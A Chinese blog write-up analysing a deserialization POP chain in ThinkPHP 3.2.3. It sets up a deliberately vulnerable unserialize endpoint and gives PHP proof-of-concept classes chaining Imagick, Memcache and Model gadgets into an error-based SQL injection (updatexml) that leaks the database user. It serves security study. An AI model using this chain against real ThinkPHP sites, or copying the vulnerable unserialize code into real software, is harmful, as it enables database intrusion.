Thinkphp3_x(反序列化)
参考链接:ThinkPHP v3.2.*
(SQL注入&文件读取)反序列化POP链 | CTF导航 (ctfiot.com)
环境
PHP5.6+Linux+ThinkPHP3.2.3
thinkphp5.0.24下载
1
| composer create-project --prefer-dist topthink/think=3.2.3 tp3
|
接着访问 127.0.0.1/tp3
,框架会自动生成一个默认控制器,在默认控制器下添加一个测试用的
Action 即可。
测试代码
在文件
Application/Home/Controller/IndexController.class.php
中替换为以下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller { public function index() { $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8'); } public function test() { unserialize(base64_decode($_GET['yx'])); } }
|
代码分析
寻找漏洞入口(Imagick)
首先要知道反序列化常见起点
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
常见跳板
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 \(this->\)func();
常见终点
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
根据以上内容可知,漏洞入口大多在__destruct函数中,全局搜索该函数,原则是寻找可控变量足够多的函数
根据提示此处选择文件
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php,选择该处的原因应该是此处的img变量是可控的

Memcach
接着寻找可能会有漏洞的destroy函数,还是用全局搜索,这里我选择的是
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
文件里的destory函数,因为这里的 this->handle
变量也是可控的

接下来全局搜索delete函数,这里选择的是
ThinkPHP/Library/Think/Model.class.php 文件
Model
截至到这里构造的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php
namespace Think\Image\Driver { use Think\Session\Driver\Memcache; class Imagick { private $img; public function __construct() { $this->img = new Memcache(); } } } namespace Think\Session\Driver { use Think\Model; class Memcache { protected $handle = null;
public function __construct() { $this->handle = new Model(); } } } namespace Think { class Model { } }
|
以下是添加注释后的delete函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| class Model { protected $db = null; protected $pk = 'id'; protected $data = array(); protected $options = array(); public function getPk() { return $this->pk; }
public function delete($options = array()) { $pk = $this->getPk();
if (empty($options) && empty($this->options['where'])) { if (!empty($this->data) && isset($this->data[$pk])) { return $this->delete($this->data[$pk]); } else { return false; } }
if (is_numeric($options) || is_string($options)) { if (strpos($options, ',')) { $where[$pk] = array('IN', $options); } else { $where[$pk] = $options; } $options = array(); $options['where'] = $where; }
if (is_array($options) && (count($options) > 0) && is_array($pk)) { $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) { $count++; } } if (count($pk) == $count) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } }
$options = $this->_parseOptions($options);
if (empty($options['where'])) { return false; }
if (is_array($options['where']) && isset($options['where'][$pk])) { $pkValue = $options['where'][$pk]; }
if (false === $this->_before_delete($options)) { return false; }
$result = $this->db->delete($options); if (false !== $result && is_numeric($result)) { $data = array(); if (isset($pkValue)) { $data[$pk] = $pkValue; }
$this->_after_delete($data, $options); }
return $result; } }
|
首先粗略确认options是可控的,因此猜测558行的delete函数可以成为漏洞点,因为此处的db变量也是可控的

mysql(Driver为抽象类)
在文件 ThinkPHP/Library/Think/Db/Driver.class.php
中,可以看到是通过拼接的方式生成sql语句,因此只要options构造成功,此处的sql语句就可利用

lz尝试逆向构造,因为这里执行的是delete方法,所以尝试报错注入,后面看到对where进行了拼接,因此想办法让where后面加上
'1=updatexml(1,concat(0x7e,database(),0x7e),1)#'
实现报错注入,并且这里调用了parseWhere函数,该函数的功能是将查询条件,可以是字符串或数组转变为解析后的
WHERE 子句,并在前面加上where,因此就可以判断我们只需要让
$options['where']='1=updatexml(1,concat(0x7e,database(),0x7e),1)#'
现在先返回前面Model类的destory函数中,最开始传进来的options变量为空,因此我们需要想办法执行509行的函数实现自行构造参数,因此
$this->data 变量就需要自己构造,将
$this->data[pk]
构造成我们想要的内容,那关于Model的poc应该大概如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| namespace Think { use Think\Db\Driver\Mysql; class Model { protected $db = null; protected $pk = 'id'; protected $data = array(); protected $options = array(); public function __construct() { $this->db = new mysql(); $this->data=[ 'id'=>[ 'where'=>'1=updatexml(1,concat(0x7e,(select user()),0x7e),1)', 'table'=>'users' ] ]; } } }
|
最后成功显示了用户名
